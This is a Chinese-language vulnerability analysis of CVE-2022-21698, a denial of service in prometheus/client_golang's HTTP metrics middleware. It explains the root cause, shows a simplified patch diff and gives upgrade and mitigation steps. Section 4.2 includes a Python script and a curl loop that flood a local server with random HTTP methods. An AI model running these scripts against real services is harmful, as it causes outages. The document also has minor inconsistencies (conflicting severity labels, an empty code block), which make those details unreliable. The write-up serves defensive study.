一、漏洞简介

1.1 漏洞背景

prometheus/client_golang 是 Prometheus 官方提供的 Go 语言客户端库,广泛用于 Go 应用程序的指标埋点。该库的 promhttp 包提供了 HTTP 中间件来自动收集 HTTP 请求的指标。2022年2月,发现该中间件在处理非标准 HTTP 方法时存在资源消耗不受限的问题,可导致拒绝服务攻击。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2022-21698
危害等级 HIGH / 7.5
漏洞类型 HTTP 方法标签基数 DoS 漏洞
披露时间 2022-02-15
影响组件 Prometheus
  • CVE编号: CVE-2022-21698
  • 危害等级: 中危
  • CVSS评分: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
  • 漏洞类型: CWE-770 (无限制的资源分配) + CWE-400 (不受控制的资源消耗)
  • 影响组件: prometheus/client_golang promhttp 包

补充核验信息:公开时间:2022-02-15;NVD 评分:7.5(HIGH);CWE:CWE-400。

二、影响范围

2.1 受影响的版本

  • prometheus/client_golang < 1.11.1

2.2 不受影响的版本

  • prometheus/client_golang >= 1.11.1

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

必须同时满足: 1. 应用使用了 promhttp.InstrumentHandler* 系列中间件(除了 RequestsInFlight) 2. 中间件配置中使用了 method 标签 3. 应用未在中间件前过滤特定 HTTP 方法 4. 前端没有防火墙/负载均衡器/代理过滤未知 HTTP 方法

常见受影响代码:

// 受影响的代码模式
handler := promhttp.InstrumentHandlerCounter(
    counter,  // 带有 method 标签的 counter
    http.HandlerFunc(myHandler),
)
http.Handle("/api", handler)

三、漏洞详情与原理解析

3.1 漏洞触发机制

Prometheus 指标使用标签(label)来区分不同维度的数据。promhttp 中间件会为每个 HTTP 请求的 Method 创建一个唯一的标签值。HTTP 方法本应限制在标准方法(GET, POST, PUT, DELETE, HEAD, OPTIONS, PATCH, CONNECT, TRACE),但攻击者可以使用任意字符串作为 HTTP 方法。

问题根源:

// InstrumentHandlerCounter 实现原理(简化)
func InstrumentHandlerCounter(counter *prometheus.CounterVec, next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // 问题点: 直接使用 r.Method 作为标签值
        counter.WithLabelValues(r.Method).Inc()
        next.ServeHTTP(w, r)
    })
}

攻击场景:

  1. 正常请求: GET /api → 创建标签 method="GET"
  2. 攻击请求: CUSTOMMETHOD12345 /api → 创建标签 method="CUSTOMMETHOD12345"
  3. 每个唯一的方法都会创建新的时间序列
  4. 攻击者发送大量不同方法的请求
  5. Prometheus 服务器内存爆炸 → OOM 崩溃

影响: - 内存耗尽: 每个唯一方法创建一个新的 Counter,占用内存 - 性能下降: 大量标签导致查询性能急剧下降 - Prometheus 崩溃: 严重时导致 Prometheus OOM

3.2 源码层面的根因分析(结合源码与补丁对比)

根本原因: 未对 HTTP Method 进行白名单验证,导致基数爆炸(Cardinality Explosion)。

补丁对比:

// promhttp/instrument_server.go 修复

-func InstrumentHandlerCounter(counter *prometheus.CounterVec, next http.Handler) http.Handler {
+func InstrumentHandlerCounter(counter *prometheus.CounterVec, next http.Handler, opts ...Option) http.Handler {
+    options := defaultOptions
+    for _, o := range opts {
+        o(&options)
+    }
+
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-        counter.WithLabelValues(r.Method).Inc()
+        // 新增: 方法标准化
+        method := sanitizeMethod(r.Method, options.extraMethods)
+        counter.WithLabelValues(method).Inc()
        next.ServeHTTP(w, r)
    })
}

+func sanitizeMethod(method string, extraMethods []string) string {
+    // 标准方法列表
+    switch method {
+    case "GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH", "CONNECT", "TRACE":
+        return method
+    default:
+        // 检查是否在额外的允许列表中
+        for _, m := range extraMethods {
+            if method == m {
+                return method
+            }
+        }
+        // 非标准方法统一标记为 unknown
+        return "unknown"
+    }
+}

关键修复: 1. 添加 sanitizeMethod 函数进行方法标准化 2. 非标准方法统一映射为 "unknown" 3. 提供配置选项允许用户添加自定义方法

四、漏洞复现(可选)

4.1 环境搭建

创建测试应用:

// main.go
package main

import (
    "net/http"

    "github.com/prometheus/client_golang/prometheus"
    "github.com/prometheus/client_golang/prometheus/promhttp"
)

var (
    httpRequestsTotal = prometheus.NewCounterVec(
        prometheus.CounterOpts{
            Name: "http_requests_total",
            Help: "Total number of HTTP requests",
        },
        []string{"method", "path"},  // 注意: 包含 method 标签
    )
)

func main() {
    // 注册指标
    prometheus.MustRegister(httpRequestsTotal)

    // 创建 handler
    handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.WriteHeader(http.StatusOK)
        w.Write([]byte("Hello, World!"))
    })

    // 使用 InstrumentHandlerCounter - 受影响
    instrumentedHandler := promhttp.InstrumentHandlerCounter(
        httpRequestsTotal.MustCurryWith(prometheus.Labels{"path": "/"}),
        handler,
    )

    // 路由
    http.Handle("/", instrumentedHandler)
    http.Handle("/metrics", promhttp.Handler())

    println("Server starting on :8080")
    http.ListenAndServe(":8080", nil)
}

使用受影响版本:

go mod init testapp
go get github.com/prometheus/client_golang@v1.11.0
go run main.go

4.2 PoC 演示与测试过程

攻击脚本:

#!/usr/bin/env python3
import requests
import random
import string

target = "http://localhost:8080"

def random_method(length=20):
    """生成随机 HTTP 方法名"""
    return ''.join(random.choices(string.ascii_uppercase + string.digits, k=length))

print("[*] Starting DoS attack with unbounded method cardinality...")

# 发送大量使用不同方法的请求
for i in range(10000):
    method = random_method()
    try:
        # 使用随机方法发送请求
        response = requests.request(method, target)
        if i % 100 == 0:
            print(f"[+] Request {i}: Method={method}, Status={response.status_code}")
    except Exception as e:
        print(f"[-] Request {i} failed: {e}")

# 检查内存使用
print("\n[*] Checking metrics endpoint...")
metrics_response = requests.get(f"{target}/metrics")
print(f"[*] Metrics size: {len(metrics_response.text)} bytes")

# 统计唯一的 method 标签数量
lines = metrics_response.text.split('\n')
method_count = len([l for l in lines if 'http_requests_total{method=' in l])
print(f"[!] Number of unique method labels: {method_count}")

curl 版本攻击:

#!/bin/bash
# 发送 1000 个不同方法的请求
for i in $(seq 1 1000); do
    method="METHOD$(head /dev/urandom | tr -dc A-Z0-9 | head -c 20)"
    curl -X "$method" http://localhost:8080/ -s -o /dev/null &
done
wait

# 检查指标大小
curl http://localhost:8080/metrics | grep http_requests_total | wc -l

预期效果: 1. Prometheus 指标端点返回的数据量急剧增长 2. 应用内存占用持续上升 3. 如果连接到 Prometheus 服务器,会导致 TSDB 内存耗尽

五、修复建议与缓解措施

5.1 官方版本升级建议

升级 client_golang 到 1.11.1 或更高版本:

# Go modules
go get github.com/prometheus/client_golang@v1.11.1
go mod tidy

# 或更新到最新版本
go get github.com/prometheus/client_golang@latest

升级后的代码:

```

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  • 临时关闭高风险协议特性或在网关侧启用连接、并发与速率限制。
  • 结合 WAF、负载均衡和熔断策略降低异常流量影响。

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://github.com/prometheus/client_golang/pull/962
  • https://github.com/prometheus/client_golang/pull/987
  • https://github.com/prometheus/client_golang/releases/tag/v1.11.1

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2022-21698
  • CVE:https://www.cve.org/CVERecord?id=CVE-2022-21698
  • https://github.com/prometheus/client_golang/pull/962
  • https://github.com/prometheus/client_golang/pull/987
  • https://github.com/prometheus/client_golang/releases/tag/v1.11.1
  • https://github.com/prometheus/client_golang/security/advisories/GHSA-cg3q-j54f-5p7p
  • https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2IK53GWZ475OQ6ENABKMJMTOBZG6LXUR/
  • http://localhost:8080"